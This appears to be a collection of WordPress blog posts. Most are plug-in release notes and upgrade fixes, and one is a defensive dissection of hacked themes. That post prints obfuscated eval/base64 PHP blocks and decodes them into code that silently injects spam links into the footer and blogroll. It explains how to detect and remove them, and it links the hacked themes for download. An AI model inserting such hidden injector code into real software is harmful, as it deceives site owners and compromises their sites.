Been busy designing a new theme for Chaos Laboratory

A quick note to everyone… I’m coming up with a leaner and meaner theme for Chaos Laboratory. I’m almost done. Should be able to unleash it in a day …or two, at the most. Learnt a hell lot in the process – both CSS and WordPress Theme design wise – not to mention, bending some popular plug-ins to work the way I want.

My own plug-ins – namely, LiveSig and curreX are both in need of critical updates which I plan to do over the weekend. Till then 🙂

Dissection of a hacked WordPress Theme (how the hacked themes inject links and how to detect them)

Hacked WordPressWhile I was away on my sabbatical (read coping with the all-new fatherhood), I occasionally managed to catch a glimpse of the latest action dramas unfolding on the net – primarily because the WordPress dashboard made it a point to present them to me on a daily basis. One of them caught my fancy and I decided to take a deeper look. The topic was Technorati & hacked WordPress blogs. More than Technorati, it was the article on Weblog Tools Collection that got me wondering…

The premises

While I had made it a point to keep abreast with the WordPress releases and firmly believed that my blog wasn’t affected by this, I wasn’t quite so sure about a couple of other blogs that I had installed for my friends / clients. Going through a few of them, I noticed that all of them had a profuse amount of random & unrelated links in their footer besides containing links to a group of common sites in their blogroll. While the footer links were more or less random (and still acceptable), I couldn’t believe that, strangers as they were, all my friends & clients had managed to put their heads together and point to the same group of sites! Naturally, I got asking and found out that none of them had ever added those links in person and that even they were confused as to where they came from. Being new to blogging most of them had taken it for granted that those links were a part of the WordPress ring and had been placed there as a reciprocating gesture for providing such a terrific blogging platform for free.

The investigation

My first step was to dig into the file footer.php, where I encountered this strange sequence of code. Here’s an example…

< ?php $Gdb63b0c686622a27d0bdb237219e0e96='jZNNa9wwEIbPXch/
mOqyG4gt2mPr1UI/oL0tSUmPRmvP2iK2pGrGawz98ZW/NhAaWl9kj2ae9
52xdFCZLM1F3WyyuEDRaKK9KBrUQTxv/WONb6atgEKxF9nB1x5OjauMP
bvdlrH1jWbMSxOwYBeG7e1HOChpWl0hybNzjCH1thKgG96LOSBWK+un
XC2a8hpUcLMByN4mCXw/w+C6bQmNeUJgB9R57wLDTxfKY0CiO6j1xdg
KuEYQ3vUYsITTIGKJfQJyLfZ1jEGSqCvW2REbpn7A0FR7QmLo9XAHhrcE
47azzQA+uNaxiSUugC4vGNhQFExhelasV1+QTGWj+KcBMg11wPNe1Mz
+g5R936cXXeiREzAOZEgL18rOGsYyIY6TJFnrXhsj1LdpnYYA8LhUwT1a
1g1lUitI4Lg0GrXGUfhxFDH8o8YW4RjcxZSvOFmzeUyltMdxCJR2JNQzaeL
MWrON5D9bEupvhrNTUDPnSnl5oALR+7wLzXyMhPpqORgk2N0/PNxOR
n6/XhyF26hG+UvK52Vj6eIKSzPpo6M38bfNLCxqBxVybrs2/9XhqL2bILB
8pTBnsmkx5MTO797NCYSFsyUtzOstmrJ7n8+neoZNl0qeXDlMmTW3zW
xg8wc=';
eval(gzinflate(base64_decode($Gdb63b0c686622a27d0bdb237219e0e96))); ?>

Looks scary, doesn’t it? 😀 Managed to give me a fright at the first sight too. Whereas, I was expecting a bunch of hard-coded links, you get this!! Fear not. A second glance will tell you that the code isn’t really as mambo-jambo-ish as it looks. It contains 2 distinct php statements. The first one is simply the assignment of the scrambled sequence of characters to a horribly named variable i.e. $Gdb63b0c686622a27d0bdb237219e0e96.

< ?php $Gdb63b0c686622a27d0bdb237219e0e96='jZNNa9wwEIbPXch/
mOqyG4gt2mPr1UI/oL0tSUmPRmvP2iK2pGrGawz98ZW/NhAaWl9kj2ae9
52xdFCZLM1F3WyyuEDRaKK9KBrUQTxv/WONb6atgEKxF9nB1x5OjauMP
bvdlrH1jWbMSxOwYBeG7e1HOChpWl0hybNzjCH1thKgG96LOSBWK+un
XC2a8hpUcLMByN4mCXw/w+C6bQmNeUJgB9R57wLDTxfKY0CiO6j1xdg
KuEYQ3vUYsITTIGKJfQJyLfZ1jEGSqCvW2REbpn7A0FR7QmLo9XAHhrcE
47azzQA+uNaxiSUugC4vGNhQFExhelasV1+QTGWj+KcBMg11wPNe1Mz
+g5R936cXXeiREzAOZEgL18rOGsYyIY6TJFnrXhsj1LdpnYYA8LhUwT1a
1g1lUitI4Lg0GrXGUfhxFDH8o8YW4RjcxZSvOFmzeUyltMdxCJR2JNQzaeL
MWrON5D9bEupvhrNTUDPnSnl5oALR+7wLzXyMhPpqORgk2N0/PNxOR
n6/XhyF26hG+UvK52Vj6eIKSzPpo6M38bfNLCxqBxVybrs2/9XhqL2bILB
8pTBnsmkx5MTO797NCYSFsyUtzOstmrJ7n8+neoZNl0qeXDlMmTW3zW
xg8wc=';

This statement alone didn’t make much sense though. It was the second statement, with it’s share of nested functions, that started shedding light on the whole issue…

eval(gzinflate(base64_decode($Gdb63b0c686622a27d0bdb237219e0e96)));

If you’re familiar with php even a bit, you’ll begin to realise that this statement decodes whatever nastiness is lurking in the first line and helps executing it using the eval() statement. Prior to that, the code has been base64 encoded (the same encoding that is applied to email attachments) and then gzipped – if you follow the order of decoding.

To really get behind the mystery code, you need to be able to SEE it. Rather simple. Just replace the eval() statement with an echo and it’ll spit the code out onto your screen instead of executing it. Following that, we modify the code block to look like this…

< ?php $Gdb63b0c686622a27d0bdb237219e0e96='jZNNa9wwEIbPXch/
mOqyG4gt2mPr1UI/oL0tSUmPRmvP2iK2pGrGawz98ZW/NhAaWl9kj2ae9
52xdFCZLM1F3WyyuEDRaKK9KBrUQTxv/WONb6atgEKxF9nB1x5OjauMP
bvdlrH1jWbMSxOwYBeG7e1HOChpWl0hybNzjCH1thKgG96LOSBWK+un
XC2a8hpUcLMByN4mCXw/w+C6bQmNeUJgB9R57wLDTxfKY0CiO6j1xdg
KuEYQ3vUYsITTIGKJfQJyLfZ1jEGSqCvW2REbpn7A0FR7QmLo9XAHhrcE
47azzQA+uNaxiSUugC4vGNhQFExhelasV1+QTGWj+KcBMg11wPNe1Mz
+g5R936cXXeiREzAOZEgL18rOGsYyIY6TJFnrXhsj1LdpnYYA8LhUwT1a
1g1lUitI4Lg0GrXGUfhxFDH8o8YW4RjcxZSvOFmzeUyltMdxCJR2JNQzaeL
MWrON5D9bEupvhrNTUDPnSnl5oALR+7wLzXyMhPpqORgk2N0/PNxOR
n6/XhyF26hG+UvK52Vj6eIKSzPpo6M38bfNLCxqBxVybrs2/9XhqL2bILB
8pTBnsmkx5MTO797NCYSFsyUtzOstmrJ7n8+neoZNl0qeXDlMmTW3zW
xg8wc=';
echo gzinflate(base64_decode($Gdb63b0c686622a27d0bdb237219e0e96));
?>

Save this code in a new php file and execute it from your local php-enabled web-server installation (in my case XAMPP) and here’s what you get…

footer

< ?php wp_footer(); ?>

Pretty much, the kind of code you’d expect in a WordPress theme footer. While one can accept the link to http://wordpressthemes.weblogs.us as the default link to the theme hosting service, I couldn’t understand what Vacation Reality had to do with it. Still, so much for the footer. All I had to do now, was to remove the whole block of code and create a clean footer as specified by my clients.

The second complaint was regarding those common links that kept appearing in the blogroll. As it turned out, some of my clients had tried deleting those links only to have them re-appear a couple of hours down the line. Time to investigate again. This time it was the file, functions.php. Didn’t have to look far. A search for the terms eval andbase64 got me to the desired point. Once again I faced a block of code that went like…

< ?php }
$Q0d299dceb2cb08cb71bfbc1414b1505a='hZBBawIxEIXPm18xDAUTsN
pzZb3ISg9tBbvFY4gmajCbhCTbUMT/3m6qpx68DTPfvPdmiJCSi13SzlJUUi
fuXUw4Rm2jComno+oUN9qekM3IvrcFhX9TyuBMqoNxW2HgIXu5nZFK72k
pH+cHlfiXCBQ/mtdm0cJi9fne0mGRa8lguV69wRUdmhE2L826gQL0wdSjY0r
+eTrNOU+yC9IHFWPsvTdaxcnOdSNkdf3ESFVlz6/pSi4RgvimWJSs6BRCPQ
fc3DSgHU6IOAa8mf0R9wwR2O9DLuQH';
eval(gzinflate(base64_decode($Q0d299dceb2cb08cb71bfbc1414b1505a)));
?>

Taking the same road as the first time fetched me this very interesting block of code..

add_action("edit_post","insert_theme_link");
function insert_theme_link() {
    global $wpdb;
    if($wpdb->get_var("SELECT COUNT(link_id) FROM $wpdb->links WHERE link_url='http://www.wordpresssupplies.com'")==0)
        wp_insert_link(array("link_name" => "Wordpress Themes", "link_url" => "http://www.wordpresssupplies.com" ));
}

The code should be fairly self-explanatory. What we have is a function named insert_theme_link that adds a link to wordpresssupplies.com to your blogroll (contained in the table wp_links in the WordPress database), if the link isn’t present. The noteworthy line here is add_action( "edit_post","insert_theme_link" ).

The add_action function is a plug-in API hook for WordPress.

  • The first parameter dictates which WordPress action to hook or watch out for.
  • The second parameter is the name of the function that is called when the hooked action occurs.

In our case, the action is edit_post, i.e. whenever the blog author edits a post, the function that adds the link to the blogroll is executed. Hence the mysteriously re-appearing link !

The nexus

W A R N I N G!Hot on the track, I decided to follow the link that was being injected here.. i.e. wordpresssupplies.com – just to make sure this wasn’t a random case and I am not tarnishing their reputation anyhow by unjustifiably pointing fingers at them. I dropped by their site and picked 3-4 themes from different categories. And what do I find? Every single one of them contained similar code – both in the footer as well as the functions.php. Not just that – studying the links led me to two other sites teeming with hacked themes. For your convenience (and warning) I’m listing them here.

  • http://www.amazingwordpressthemes.com/
  • http://wordpressthemes.weblogs.us/

All of them are nicely decked-up and look like legit. WordPress theme sites. But be wary of any themes that you download and use from these sites for they’re certain to contain such code blocks. Apart from these links, you may also notice some other random links being injected – links to car loan sites, cheap dedicated servers etc. – shady businesses which have probably paid the hacked theme sites to insert their links and thus gain PR (pagerank) out of millions of unsuspecting sites utilising these themes.

I tried doing WHOIS on these domains, but that’s where I met-up with a wall. They’re either cloaked with Privacy Protect or contain spurious information regarding their owners. But I have a feeling that under the hood, these spammers (I prefer the term spammers here to hackers – as the people who’ve injected this code into the theme are nothing but link spammers) belong to the same group or it’s the work of a lone individual.

The Philippino blogger Yuga, outlines a couple of other methods followed by these spammers to capture / break your WordPress installation. The article is a must read.

The conclusion

On a sidenote, these themes can still be used if you carefully snip the spammy code out. Normally, the code-block in functions.php can be entirely eliminated without affecting the theme at all. As for the ones in footer.php, you’ll have to study the underlying code and eliminate the links to these sites, keeping the rest.

For those who want to experiment with such themes, I’m listing a few here for direct downloads. Disabling these themes or switching to another one will (normally) get rid of the injector code – but even then, USE AT YOUR OWN RISK.

Downloads

[download id=7,8,9]

If you manage to dig-up any other hacked theme sites like these, make sure you leave a comment enlisting them. It’ll serve as a warning note to all those who read this. And of course, if you have any thoughts to share on this issue, feel free…

Table ‘wordpress.wp_post2cat’ doesn’t exist – Error while upgrading to WordPress 2.3

Just today I performed an upgrade to the brand new WordPress 2.3.

Problem #1

The upgrade went without a hitch but the moment I refreshed my site I got this long error message that went like…


WordPress database error: [Table 'wordpress.wp_post2cat' doesn't exist]
SELECT p2c.category_id AS cat_id, COUNT(p2c.rel_id) AS numposts, UNIX_TIMESTAMP(max(p.post_date_gmt)) + '0' AS last_post_date, UNIX_TIMESTAMP(max(p.post_date_gmt)) AS last_post_date_gmt FROM wp_post2cat p2c INNER JOIN wp_posts p ON p2c.post_id=p.id WHERE (p.post_status='publish' OR p.post_status='static') AND p.post_date_gmt<='2007-09-27 11:44:24' GROUP BY p2c.category_id ORDER BY numposts DESC...

The same error kept appearing on the top of every single page. Now be aware that this new version of WordPress has a radically different table organisation. In all probability that was the cause of this error.

My first task was to disable every single plug-in I had installed. I was hoping that the error would go away immediately. It did not. After a bit of investigation I figured that even though the WP-Cache plug-in was disabled, it kept delivering the cached pages nevertheless. Deactivating it from the Plugins Panel didn’t help much. What I had to do was to go to Options > WP-Cache and disable it there. Only then did the caching stop.

The next step involved reactivating the plug-ins one-by-one and refreshing the site every time to see which plug-in was causing the error. I know it’s a painstaking task – but there’s no easy way out. Of course, you can make some well-aimed guesses, as the most likely culprit(s) are the plug-in(s) dealing with post categories, keywords, tags etc. Likewise, it didn’t take me long to catch the darned plug-in red-handed. Turned out to be Jerome’s Keywords (v2.0 beta 3). I use the Jerome’s Keywords Related Posts plug-in to display reading suggestions after each post. This plug-in in turn is dependent on Jerome’s Keywords.

As of now, I don’t think there’s any solution to this – except for deactivating the plug-in. I’ve posted a comment at the author’s site and waiting for some sort of a response.

Problem #2

As soon as I tackled the first one, a new one crept up silently and threw me off-balance again. This time the error message appeared when I tried to create a new post and save it. The screen went totally blank except for a lonely error message…

WordPress database error: [Table 'wordpress.wp_categories' doesn't exist]
SELECT c.cat_ID AS ID, MAX(p.post_modified) AS last_mod FROM `wp_categories` c, `wp_post2cat` pc, `wp_posts` p WHERE pc.category_id = c.cat_ID AND p.ID = pc.post_id AND p.post_status = 'publish' AND p.post_type='post' GROUP BY c.cat_id...

This one wasn’t hard to diagnose as half of my plug-ins were already deactivated. I simply started rolling back the activations one-by-one and had the trouble-maker in a minute or two. This time it was Google XML Sitemaps Generator (v3.0b8). Visiting the authors site took me to a post at the support forum at WordPress.org. Seems like this version of the plug-in has some sort of a conflict with Popularity Contest. The solution is quite simple here. Simply download the new v3.0b10 of this plug-in and update it. The error message disappears right-away.

So here are two very common problems you’re going to face while upgrading to WordPress v2.3. This post is intended to help those who’re facing the same problem and groping in the dark as I was a couple of hours back.

All the best.

Switching to the domain-based FeedBurner Pro service

RSS FeedI recently purchased Managed DNS service from my web-host (ComputingHost) as a result of which I no longer have to depend upon their tech support to cater to my DNS record modification needs. Consequently, I decided to switch to the FeedBurner Pro domain based feed service. Domain based feed service means you can customise the FeedBurner to handle your feeds straight under your domains URL (Example: http://feeds.your-domain.com) instead of the usual http://feeds.feedburner.com/YourFeed.

Earlier on this service was available under FeedBurner Pro as a paid option. Ever since Google acquired FeedBurner, this has been made free. As long as you own a domain and are able to modify your DNS records, you can set this up.

Henceforth, all feed subscribers are kindly requested to use the following URL:

http://feeds.chaos-laboratory.com/ChaosLaboratory

or

http://chaos-laboratory.com/feed

instead of the earlier:

http://feeds.feedburner.com/ChaosLaboratory

For existing subscribers – the old URL will still function, but to help facilitate my subscription tracking, kindly update the feed URL.

Any new subscribers automatically subscribe through the new domain based feed URL.

Possible solution to FeedBurner Email Subscription Problem (Images not appearing in the emails)

Email Icon LargeFeedBurner Email Subscriptions are a great way to spread your blog’s content far & wide – by sending your post feeds directly to the inbox of your subscribers. It’s a particularly viable option for the subscribers who don’t want to get into the hassle of firing up their feed reader every day. Quite a few of my regular subscribers utilise this method.

I’ve always kept a tab on each my feeds using a standard feed reader (FeedReader) and since they appeared fine to me I never really bothered to check on the email based feeds. Recently, I received a bunch of complaints from the email subscribers regarding “broken images” in the emails. Doing a quick check confirmed the reports – the images embedded in the posts were indeed missing. Instead they are replaced by the standard “broken image” icon. It took me a while to figure out the real problem – since the same feed(s) turned up just fine in any given feed reader.

The Problem

Broken ChainThe root of the problem lies in how one embeds images and/or links in the posts – i.e. in the absolute or relative URL formats. To save up on typing, I’ve always resorted to relative URLs when specifying the source of the images in my posts. This actually is a good practise since this enables you to transfer your site to another domain without any ensuing hiccups over broken links and images. However, this doesn’t always translate properly in case of RSS/Atom feeds. The best thing to do in such cases is to use absolute URLs – so that the images in the feeds get displayed properly when they are viewed independently of the site or even when incorporated in someone else’s site.

As for me, I don’t follow the standardised WordPress approach of uploading all the images under the /wp-content/uploads/ directory. I have my own folder called /postimage/ where I manually upload the pictures and then link them in the relative format. For example, /postimage/image_file.jpg.

When my site is viewed directly in a browser or through a feed reader, the images are automatically located in relation to the site root, i.e. http://chaos-laboratory.com and thus displayed properly. For emailed feeds, the image source attributes get converted to http://postimage/image_file.jpg – which naturally doesn’t make any sense to your browser.

The Solution

Your best bet out here, is to device some mechanism where you can still use the relative URLs in your posts – but they automatically get translated to the absolute form (inclusion of your domain name before the folder and file information) in case of feeds.

The first method involves some messy editing of the WordPress feed publishing files (found in the /wp-includes/ folder). In any standard WordPress installation, they’re the PHP files starting with the word feed (feed-atom.php, feed-rss2.php etc). You can edit these files and implement Regular Expression matching routines to replace any relative links with the absolute form. This is more of a pro-coder approach.

The second method is to use a readily available WordPress plug-in named URL Absolutifier which works in a similar way – but translates all your relative URLs to their absolute forms for both your site and feeds. This is the approach I’ve taken up for the time being. Currently I am testing out this plug-in and will report my findings shortly. If it manages to fix my problem, I’ll try and implement the code directly into the feed publishing engine (mentioned in the first method).

Any thoughts on this ?

WordPress India Logo gifted to Automattic on 60th year of independence

Just as I was writing off the congratulatory note to all the Indian netizens on the 60th year of independence (yesterday), a thoroughly inspired Allan Fernandes was putting the final touches to his WordPress India Logo – which he later gifted to the entire Automattic team (the brains behind WordPress).

WordPress India Logo on 60th year of Indian independence

Great piece of work Allan !!

Chaos Laboratory Support Forums launched !

ChaosLab Bulletin BoardI’m pleased to announce that I’ve finally managed to shake off that lethargy and do what was long needed. I’d been meaning to launch a forum for a long while in order to provide a better support mechanism for all the WordPress Plug-ins I’ve written. At the same time I wanted a better means of interacting with my visitors (blog comments are fine, but they don’t count much in the way of interaction). So here I am with a brand new forum powered by the Simple Machines Forum software.

Apart from tech. support on the plug-ins, feel free to start a discussion on any topic regarding computing and sciences and I’ll try my best to help you out. If not me, there’ll always be more knowledgeable members around who’ll be able to help you out.

On a side-note, I’m running a trial of a WordPress-SMF Bridge that should make these two work harmoniously. If you register at my blog, it should get you auto-registered at the forums too and vice-versa. Similarly, logging in and out of either should affect the other one accordingly.I ask my visitors to kindly report back to me with any observations you have regarding the functioning of this plug-in and help me iron the bugs out.

The forum can be accessed by the Forum link in the top menu-bar of my blog.

LiveSig: WordPress Plug-in for automatic insertion of graphical signatures generated by MyLiveSignature at the end of each post

MyLiveSignature LogoLorelle’s signature has always stood out as a beautiful example of calligraphy and adds a different dimension to her blog by effortlessly imbibing that much-needed “personal touch” to all her posts. That signature in question has intrigued me since I came upon her blog quite sometime back and I’ve wanted one of my own ever since. Incidentally, if you’re not in the know, Lorelle’s blog is one of the most valuable resource of WordPress and blogging in general out there on the web.

Lorelle's Signature Graphics

However, the ardent desire to own one never really materialised as I’m one of those “graphically challenged” folks 😀 No amount of time spent with an ultra steady hand at the mouse was good enough for me to conjure one – that is, till MyLiveSignature came to my rescue. MyLiveSingature was a chance discovery while I was browsing through some random sites and if you will, ‘I’ve never been so grateful’ for a particular bit of information as this. The site allows anyone to create fancy virtual signatures that can be appended to emails, blog posts, forums signatures and what not. To top it all, these signatures so totally look like real life hand-scribed signatures.

How to go about getting one for yourself?

To start with you’ve register yourself with MyLiveSignature, which comes for free. The site sports a nice web based wizard interface that allows you to choose between 120+ fonts as well as a wide variety of parameters like size, colour, slope etc. all of which combine to render a singature that bears a very close resemblance to your real-life one.

Does this really come for free?

Animated MyLiveSignatureYup. Pretty much so. The basic signature generation service is absolutely free. However, if you wish, for a nominal price ($19.95) you can get yourself an animated signature designed by the professional animators at MyLiveSignature. They also offer a graphical reconstruction service (of your real-life signature) if you prefer that to the computer generated one. This too is a viable option which comes for a meagre $9.95 – but then again the availability of extremely cheap yet high-resolution scanners makes this service kind of redundant.

What’s all this got to do with a WordPress plug-in?

This is where I step in. Following Lorelle’s tracks, I wanted to add that personal touch to all my posts. MyLiveSignature provides you with the HTML code that displays your signature virtually anywhere on a site. If you know even a bit about the inner workings of WordPress, it’d be easy for you to edit the template and include this code in the “loop” to make it appear after each of your posts… but nothing like a simple plug-in which does the same for you without ever requiring you to do any messy template editing.

LiveSig is a WordPress plug-in that automatically inserts your MyLiveSignature code after each of your WordPress posts making it seem like each post has been personally signed by you.

Current Version

  • 0.4

Features

  • Once the MyLiveSignature HTML code has been fed into the plug-in, the plug-in appends your virtual signature at the end of each of your posts.
  • Multi-author blogs are supported. However, as of now, only a user whose Role permits changing of plug-in settings (namely, Administrator) can setup the signatures for individual users. The LiveSig Options page isn’t available to non-admin users (Editors / Authors / Contributors).

Requirements

  • WordPress 2.1.x – but should function properly with the 2.0.x line too.

Download

[download id=”1″]

Installation

Once downloaded, simply…

  • Unzip & Copy the plug-in file into your WordPress plug-ins folder.
  • Activate the plug-in from the Plug-in Manager in WordPress.
  • Visit the Options / Settings menu and find a new item called LiveSig. Click on that to get to the LiveSig Options page. Once there simply select an appropriate user, enter the corresponding MyLiveSignature code and hit Save.

Showcase (the plug-in in action)

Subversion Repository

Change Log

  • Version 0.4 (2008-05-25)
    • Added the option to be able to specify Signature Placement – i.e. at the end of posts on the blog’s front page, at the end of individual posts (single mode) or for both.
    • Removed jQuery library that was being bundled with the plug-in. Since this plug-in uses jQuery only in the administration / configuration interface and in such cases jQuery is provided by WordPress itself, there was no need to include a jQuery release and increase the size of the bundle. Apart from that, inclusion of jQuery twice (once by WP and then by LiveSig) was causing a minor JS Warning to be thrown. That has been eliminated now.
  • Version 0.2.5 (2008-05-19)
    • Minor fix in the UI (Administration Panel) – where the list of users didn’t clear out while selecting a different Roles – in cases, where that particular Role didn’t have any users belonging to it.
  • Version 0.2 (2008-05-19)
    • Added multi-author support. If a blog has more than 1 author, LiveSig can display singatures that are unique to each in appropriate posts.

Please Note

I offer support for my plug-ins via the Chaos Laboratory Support Forum only. I will NOT respond to support queries left in the comment section below and, in most cases, will also not publish them. Of course, if you’d like to say something nice or helpful, feel free to leave a comment!

If you find this plug-in useful, please consider making a donation towards further development of this useful little utility.


Alternatively, you can help me by reviewing this post by clicking on the following link. Believe it or not, this will help us both earn some cash from PayPerPost.

MyLiveSignature found via: Freakitude Technology Blog

TailHitter: WordPress Plug-in for automatic insertion of HitTail code in all posts & pages of your blog

The HitTail CycleI’ve been using HitTail for a while now and it has helped me quite a bit along the way in optimising my site / content in order to get increased “natural” search hits. For those who didn’t know, HitTail is a free service that reveals in real-time the least utilized, most promising keywords hidden in the Long Tail of your natural search results. It present these terms to you as suggestions that when acted on can boost the natural search results of your site.

HitTail does it’s job through a tracking code that you’ve to implement in your site. One of the problems I faced along the way was that whenever I changed my WordPress theme, I had to insert the HitTail tracking code manually in each theme’s footer. Trust me when I say it can get really tiresome after a while. There was this one occasion (following a theme switch) when my HitTail stats stopped updating altogether. After much deliberation I figured that while I’d reactivated all my other plug-ins, I’d forgotten to insert the tracking code in my new template. If only I had some plug-in doing the same for me automatically every time, it’d be oh-so-convenient. Hence I did some quick research into plug-ins that insert code into WordPress headers & footers and came up with this one.

Current Version

  • 0.4 (Beta)

Features

  • Inserts the HitTail tracking code into all the posts & pages of your blog automatically.
  • Extremely easy to setup – all you need to do is save the tracking code (provided as is by HitTail) in the plug-in options page.
  • Removal of tracking code is as easy as overwriting the saved one with a blank field.

Requirements

  • WordPress 2.1.x – but should function properly with the 2.0.x line too.

Download

[download id=”2″]

Installation

Once downloaded, simply…

  • Unzip & Copy the plug-in file into your WordPress plug-ins folder.
  • Activate the plug-in from the Plug-in Manager in WordPress.
  • Visit the Options menu and find a new item called TailHitter. Click on that to get to the TailHitter Options page. Once there simply enter your HitTail tracking code and hit Update.

.. and you’re done.

Subversion Repository

Change Log

  • Version 0.4 (2007-03-15)
    • Fixed a major bug that caused the tracking code to be echo-ed out without stripping off the slashes, resulting in invalid JS code that never polled the HitTail service at all. – Thanks to Marcos for pointing it out.
  • Version 0.3 (2007-03-15)
    • Fixed a minor bug that caused incorrect version reporting in WordPress plug-ins management panel.
  • Version 0.2 (2007-03-15)
    • Set the priority of the plug-in to be very low – in effect achieving what HitTail wants, i.e., the HitTail code is now inserted right at the end of the footer. Thanks for George, who runs the G-Loaded (and is an experienced WP Plug-in author) blog for providing valuable advice in this matter.

Please Note

I offer support for my plug-ins via the Chaos Laboratory Support Forum only. I will NOT respond to support queries left in the comment section below and, in most cases, will also not publish them. Of course, if you’d like to say something nice or helpful, then feel free to leave a comment!

Unitary: An Ajax based Units Converter Sidebar Widget for WordPress

A brief intro…

This sidebar widget serves as a quick Units Conversion tool – i.e. perform conversions Unitary Screenshotbetween various units of length, area, volume, speed etc., while sitting smugly in the sidebar of widget enabled WordPress blogs. This widget came in rapid succession of curreX (the Currency Converter) and the idea came off a comment by David Bradley at the Weblog Tools Collection blog. Since I’m fairly new to WordPress widget development, I thought why not try my hands at this… and here I am with the first stable release of the same.

Just of a side-note, my venture into the whole PHP-JavaScript-AJAX scene is quite recent. Till now I’d limited myself to mainstream coding on .NET. I find this all new journey really enlightening and am pretty proud of myself at having been able to churn out perfectly working some cool-tools, starting entirely from scratch. Thanks to all those who’ve provided me with ample encouragement to take a steady step in this direction. Once again, as always, I am not perfect. I cannot stress on the fact how important your comments & feedback are in order for me to carry on further with such development work.

Current Version

  • 0.5

Features

  • Converts between hundreds of common & uncommon Units of Length, Area, Volume, Weight / Mass, Speed etc. More unit types to be announced in future.
  • Operates in Basic and Extended mode (which can be set from the Sidebar Widgets Control Panel of WordPress). The Basic mode limits the conversions to the more common & well-known units – thus making it more intuitive and user-friendly. However, the Extended mode makes available for conversions, a far wider array of units (including loads of lesser-known ones). This is meant for blogs which cater to a more scientifically advanced audience.
  • Precision (number of digits after Decimal Point) can be fixed for the converted results.
  • It employs an AJAX back-end, i.e. the conversions are performed without having to refresh the whole page, making the tool really lightweight & fast. Looks cool too.

Requirements

Download

[download id=”4″]

Installation

Installation couldn’t get any easier. Once downloaded, simply…

  1. Copy the extracted folder named curreX into your WordPress plug-ins folder.
  2. Activate the plug-in from the Plug-in Manager in WordPress.
  3. Visit the Sidebar Widgets page under Presentation menu to drag & drop the widget onto any sidebar you desire.

That’s it!

Showcase (the widget in action)

Subversion Repository

Change Log

  • Version 0.5 (2007-03-22)
    • Fixed an Internet Explorer specific bug that caused the units selection drop-down boxes to become blank (unfilled with any unit data) when a unit type was chosen from the first drop-down. The widget now works uniformly across both Internet Explorer & Firefox. All thanks to Náiron J. C. G for the IE-DOM+JavaScript based solution.
  • Version 0.4 (2007-03-15)
    • Fixed a minor bug that caused incorrect version reporting in WordPress plug-ins management panel.
  • Version 0.3 (2007-03-15)
    • Made minor adjustments in the layout of the plug-in resulting in smoother cross-browser rendering.
    • Renamed a bunch of plug-in related variables to avoid name collision with other plug-ins.
  • Version 0.2 (2007-03-14)
    • Included prototype.js with this distribution – as the plug-in wasn’t functioning properly on non-prototype based themes.
    • Fixed minor layout problems of fixed width form fields which was causing the layout to be distorted under different resolutions (read Sidebar width).

Please Note

I offer support for my plug-ins via the Chaos Laboratory Support Forum only. I will NOT respond to support queries left in the comment section below and, in most cases, will also not publish them. Of course, if you’d like to say something nice or helpful, then feel free to leave a comment!